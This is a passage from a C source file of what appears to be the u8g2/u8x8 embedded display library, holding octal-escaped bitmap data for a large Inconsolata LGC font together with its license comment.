\"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\10\\34>\\77\\17\\7\\3\\0\\0\\0\\1\\3\\17\\37\\77\\37\\34\\10\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0<<<<<<<<\\374\\374\\374\\374\\374\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\\200\\200\\200\\200\\377\\377\\377\\377\\377\\200\\200\\200\\200\\200\\200\\200\\200\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\360\\370\\370\\370\\360\\340\\0\\0\\0\\0\\0\\0\\340\\360\\370\\370\\370\\360\\340\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\3\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\3\\3\\1\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0<<<<<<<\\374\\374\\374\\374\\374\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\\200\\200\\200\\200\\377\\377\\377\\377\\377\\200\\200\\200\\200\\200\\200\\200\\200\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\30\\30\\70\\70x\\370\\360\\360\\340\\300\\300\\200\\200\\300\\300\\300\\300\\340\\340\"\n  \"\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\14<<\\36\\36\\36\\16\\17\\17\\17\\7\\37\\77\\177\\377\\377\\363\\341\\301\\1\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\340\\340\\360\\370\\370||<<<<<<||\\370\\371\\367\\377\\377\\377\\377\"\n  \"\\374\\340\\0\\0\\0\\300\\370\\376\\377\\377\\377\\17\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\7\\77\\377\\377\"\n  \"\\377\\377\\376\\0\\0\\177\\377\\377\\377\\377\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\377\\377\"\n  \"\\377\\377\\377\\0\\0\\0\\3\\17\\77\\177\\377\\376\\374\\360\\340\\300\\300\\200\\200\\200\\200\\200\\200\\300\\300\\340\\360\\370\\374\\377\\177\\77\"\n  \"\\37\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\3\\3\\7\\7\\7\\7\\7\\17\\7\\7\\7\\7\\7\\3\\3\\1\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\340\\360\\370||<<<|\\374\\370\\360\\340\\300\\200\\200\\200\\300\\340\\360\\360\\340\"\n  \"@\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\3\\1\\0\\0\\0\\0\\0\\0\\0\\1\\3\\3\\7\\7\\7\\7\\7\\7\\3\\1\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\374\\374\\374\\374\\374\\0\\300\\340\\340\\360xx<<<<<||\\374\\374\\370\\360\\340\\300\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\77\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\377\\377\\377\\377\"\n  \"\\377\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\"\n  \"\\377\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\"\n  \"\\377\\0\\0\\0\\0\\0\\0\\7\\7\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\7\"\n  \"\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\10\\70|\\376\\376\\374\\360\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\7\\17\\37\\37\\16\\10\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\340\\340\\360\\370\\370||<<<><<||\\374\\370\\370\\360\\340\\300\\200\"\n  \"\\0\\0\\0\\0\\0\\300\\370\\376\\377\\377\\377\\17\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\17\\77\\377\\377\"\n  \"\\377\\374\\360\\0\\0\\177\\377\\377\\377\\377\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\377\\377\"\n  \"\\377\\377\\377\\0\\0\\0\\3\\17\\77\\177\\377\\376\\374\\360\\340\\300\\300\\200\\200\\200\\200\\200\\200\\300\\300\\340\\360\\370\\374\\377\\177\\77\"\n  \"\\37\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\3\\7\\7\\7\\7\\7\\17\\17\\7\\7\\7\\7\\3\\3\\1\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\370\\374\\376\\374|\\30\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\14\\17\\37\\37\\17\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\340\\340\\360\\370\\370||<<<><<||\\374\\370\\370\\360\\340\\300\\200\"\n  \"\\0\\0\\0\\0\\0\\300\\370\\376\\377\\377\\377\\17\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\17\\77\\377\\377\"\n  \"\\377\\374\\360\\0\\0\\177\\377\\377\\377\\377\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\377\\377\"\n  \"\\377\\377\\377\\0\\0\\0\\3\\17\\77\\177\\377\\376\\374\\360\\340\\300\\300\\200\\200\\200\\200\\200\\200\\300\\300\\340\\360\\370\\374\\377\\177\\77\"\n  \"\\37\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\3\\7\\7\\7\\7\\7\\17\\17\\7\\7\\7\\7\\3\\3\\1\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\360\\370\\376~\\376\\370\\360\\340\\200\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\10\\36\\77\\37\\7\\3\\1\\0\\0\\0\\3\\7\\17\\77\\77\\36\\10\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\340\\340\\360\\370\\370||<<<><<||\\374\\370\\370\\360\\340\\300\\200\"\n  \"\\0\\0\\0\\0\\0\\300\\370\\376\\377\\377\\377\\17\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\17\\77\\377\\377\"\n  \"\\377\\374\\360\\0\\0\\177\\377\\377\\377\\377\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\377\\377\"\n  \"\\377\\377\\377\\0\\0\\0\\3\\17\\77\\177\\377\\376\\374\\360\\340\\300\\300\\200\\200\\200\\200\\200\\200\\300\\300\\340\\360\\370\\374\\377\\177\\77\"\n  \"\\37\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\3\\7\\7\\7\\7\\7\\17\\17\\7\\7\\7\\7\\3\\3\\1\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\360\\370\\374|<<<||\\370\\360\\340\\300\\300\\200\\200\\200\\300\\360\\370\\340\"\n  \"@\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\7\\7\\7\\7\\7\\7\\3\\1\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\340\\340\\360\\370\\370||<<<><<||\\374\\370\\370\\360\\340\\300\\200\"\n  \"\\0\\0\\0\\0\\0\\300\\370\\376\\377\\377\\377\\17\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\17\\77\\377\\377\"\n  \"\\377\\374\\360\\0\\0\\177\\377\\377\\377\\377\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\377\\377\"\n  \"\\377\\377\\377\\0\\0\\0\\3\\17\\77\\177\\377\\376\\374\\360\\340\\300\\300\\200\\200\\200\\200\\200\\200\\300\\300\\340\\360\\370\\374\\377\\177\\77\"\n  \"\\37\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\3\\7\\7\\7\\7\\7\\17\\17\\7\\7\\7\\7\\3\\3\\1\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\360\\370\\370\\370\\360\\340\\0\\0\\0\\0\\0\\0\\340\\360\\370\\370\\370\\360\\340\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\3\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\3\\3\\1\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\340\\340\\360\\370\\370||<<<><<||\\374\\370\\370\\360\\340\\300\\200\"\n  \"\\0\\0\\0\\0\\0\\300\\370\\376\\377\\377\\377\\17\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\17\\77\\377\\377\"\n  \"\\377\\374\\360\\0\\0\\177\\377\\377\\377\\377\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\377\\377\"\n  \"\\377\\377\\377\\0\\0\\0\\3\\17\\77\\177\\377\\376\\374\\360\\340\\300\\300\\200\\200\\200\\200\\200\\200\\300\\300\\340\\360\\370\\374\\377\\177\\77\"\n  \"\\37\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\3\\7\\7\\7\\7\\7\\17\\17\\7\\7\\7\\7\\3\\3\\1\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\300\\300\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\17\\17\\17\\17\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0<<<<<<<<<<<<<<<<<<<<<<<<<\"\n  \"<\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\360\\360\\360\\340\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\7\\7\\7\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\200\\200\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\340\\340\\360\\370\\370||<<<><<|\\374\\374\\374\\377\\377\\377\\317\\203\"\n  \"\\0\\0\\0\\0\\0\\300\\370\\376\\377\\377\\377\\17\\3\\1\\0\\0\\0\\0\\0\\200\\340\\370\\376\\377\\77\\17\\3\\1\\7\\77\\377\\377\"\n  \"\\377\\374\\340\\0\\0\\177\\377\\377\\377\\377\\340\\0\\0\\0\\0\\300\\360\\374\\376\\177\\37\\17\\3\\0\\0\\0\\0\\0\\0\\200\\377\\377\"\n  \"\\377\\377\\377\\0\\0\\0\\3\\17\\77\\177\\377\\376\\374\\376\\377\\377\\337\\207\\201\\200\\200\\200\\200\\300\\300\\340\\360\\370\\376\\377\\177\\77\"\n  \"\\37\\7\\1\\0\\0\\0\\0 \\70~\\177\\77\\17\\3\\3\\7\\7\\7\\7\\7\\17\\7\\7\\7\\7\\7\\3\\3\\1\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\14\\36>\\377\\377\\374\\370\\340\\200\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\17\\17\\7\\7\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\376\\376\\376\\376\\376\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\376\\376\\376\\376\"\n  \"\\376\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\"\n  \"\\377\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\377\\377\\377\\377\"\n  \"\\377\\0\\0\\0\\0\\0\\3\\17\\77\\177\\377\\377\\374\\360\\340\\340\\300\\300\\300\\300\\300\\340\\340\\360\\360x>\\37\\377\\377\\377\\377\"\n  \"\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\3\\3\\3\\3\\7\\3\\3\\3\\3\\1\\1\\0\\0\\0\\0\\3\\3\\3\\3\"\n  \"\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\340\\370\\376\\377\\177>\\36\\4\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\\17\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\376\\376\\376\\376\\376\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\376\\376\\376\\376\"\n  \"\\376\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\"\n  \"\\377\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\377\\377\\377\\377\"\n  \"\\377\\0\\0\\0\\0\\0\\3\\17\\77\\177\\377\\377\\374\\360\\340\\340\\300\\300\\300\\300\\300\\340\\340\\360\\360x>\\37\\377\\377\\377\\377\"\n  \"\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\3\\3\\3\\3\\7\\3\\3\\3\\3\\1\\1\\0\\0\\0\\0\\3\\3\\3\\3\"\n  \"\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\370\\374~~\\374\\370\\340\\300\\200\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\10\\34>\\37\\17\\7\\1\\0\\0\\0\\1\\3\\17\\37\\77\\36\\34\\10\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\374\\374\\374\\374\\374\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\374\\374\\374\\374\"\n  \"\\374\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\"\n  \"\\377\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\377\\377\\377\\377\"\n  \"\\377\\0\\0\\0\\0\\0\\7\\37\\177\\377\\377\\377\\370\\340\\300\\300\\200\\200\\200\\200\\200\\300\\300\\340\\340\\360|\\77\\377\\377\\377\\377\"\n  \"\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\3\\7\\7\\7\\7\\17\\7\\7\\7\\7\\3\\3\\1\\0\\0\\0\\7\\7\\7\\7\"\n  \"\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\360\\370\\370\\370\\360\\340\\0\\0\\0\\0\\0\\0\\340\\360\\370\\370\\370\\360\\340\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\3\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\3\\3\\1\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\374\\374\\374\\374\\374\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\374\\374\\374\\374\"\n  \"\\374\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\"\n  \"\\377\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\377\\377\\377\\377\"\n  \"\\377\\0\\0\\0\\0\\0\\7\\37\\177\\377\\377\\377\\370\\340\\300\\300\\200\\200\\200\\200\\200\\300\\300\\340\\340\\360|\\77\\377\\377\\377\\377\"\n  \"\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\3\\7\\7\\7\\7\\17\\7\\7\\7\\7\\3\\3\\1\\0\\0\\0\\7\\7\\7\\7\"\n  \"\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\340\\370\\376\\377\\177>\\36\\4\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\17\\17\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\2\\36~\\376\\376\\376\\360\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\376\\376\\376\"\n  \"\\376\\36\\2\\0\\0\\0\\0\\0\\3\\17\\177\\377\\377\\376\\370\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\370\\377\\377\\377\\37\\7\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\7\\77\\377\\377\\377\\370\\340\\0\\0\\0\\300\\370\\376\\377\\377\\37\\7\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\37\\377\\377\\377\\374\\376\\377\\377\\37\\7\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\370\\377\\377\\177\\37\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\16\\37\\37>>><>>>\\37\\37\\17\\7\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\370\\370\\370\\370\\370\\10\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\200\\300\\340\\360xx<<<<><||\\374\\374\\370\\360\\360\\340\\300\"\n  \"\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\37\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\17\\377\\377\\377\"\n  \"\\377\\374\\340\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\301\\377\\377\"\n  \"\\377\\377\\177\\0\\0\\0\\377\\377\\377\\377\\377\\177\\370\\360\\340\\300\\300\\200\\200\\200\\200\\200\\200\\300\\300\\340\\360\\370\\376\\377\\177\\77\"\n  \"\\37\\7\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\1\\1\\3\\7\\7\\7\\7\\7\\17\\7\\7\\7\\7\\3\\3\\1\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\177\\177\\177\\177\\177\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\360\\370\\370\\370\\360\\340\\0\\0\\0\\0\\0\\0\\340\\360\\370\\370\\370\\360\\340\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\3\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\3\\3\\1\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\4\\34|\\374\\374\\374\\364\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\370\\374\\374\"\n  \"\\374|\\14\\0\\0\\0\\0\\0\\3\\17\\177\\377\\377\\376\\360\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\374\\377\\377\\177\\37\"\n  \"\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\17\\77\\377\\377\\377\\370\\340\\0\\0\\0\\0\\340\\370\\377\\377\\177\\17\\3\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\7\\77\\377\\377\\377\\374\\370\\377\\377\\177\\17\\3\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\360\\377\\377\\377\\177\\17\\3\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\34>\\77~||x|||>\\77\\37\\37\\17\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\";\n#endif /* U8G2_USE_LARGE_FONTS */\n/*\n  Fontname: -FreeType-Inconsolata LGC-Medium-R-Normal--62-620-72-72-P-281-ISO10646-1\n  Copyright: Original Roman version created by Raph Levien using his own tools and FontForge. Copyright 2006 Raph Levien. Hellenisation of the Roman font, by Dimosthenis Kaponis, using FontForge. Hellenic glyphs Copyright 2010-2012 Dimosthenis Kaponis. Released under the SIL Open Font License, http://scripts.sil.org/OFL.    Cyrillic glyphs added by MihailJP, using FontForge. Cyrillic glyphs Copyright 2012 MihailJP. Released under the SIL Open Font License, http://scripts.sil.org/OFL.    Some glyphs modified by Greg Omelaenko, using FontForge.\n  Glyphs: 95/658\n  BBX Build Mode: 3\n*/\nconst uint8_t u8x8_font_inr46_4x8_r[24324] U8X8_FONT_SECTION(\"u8x8_font_inr46_4x8_r\") = \n  \" ~\\4\\10\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  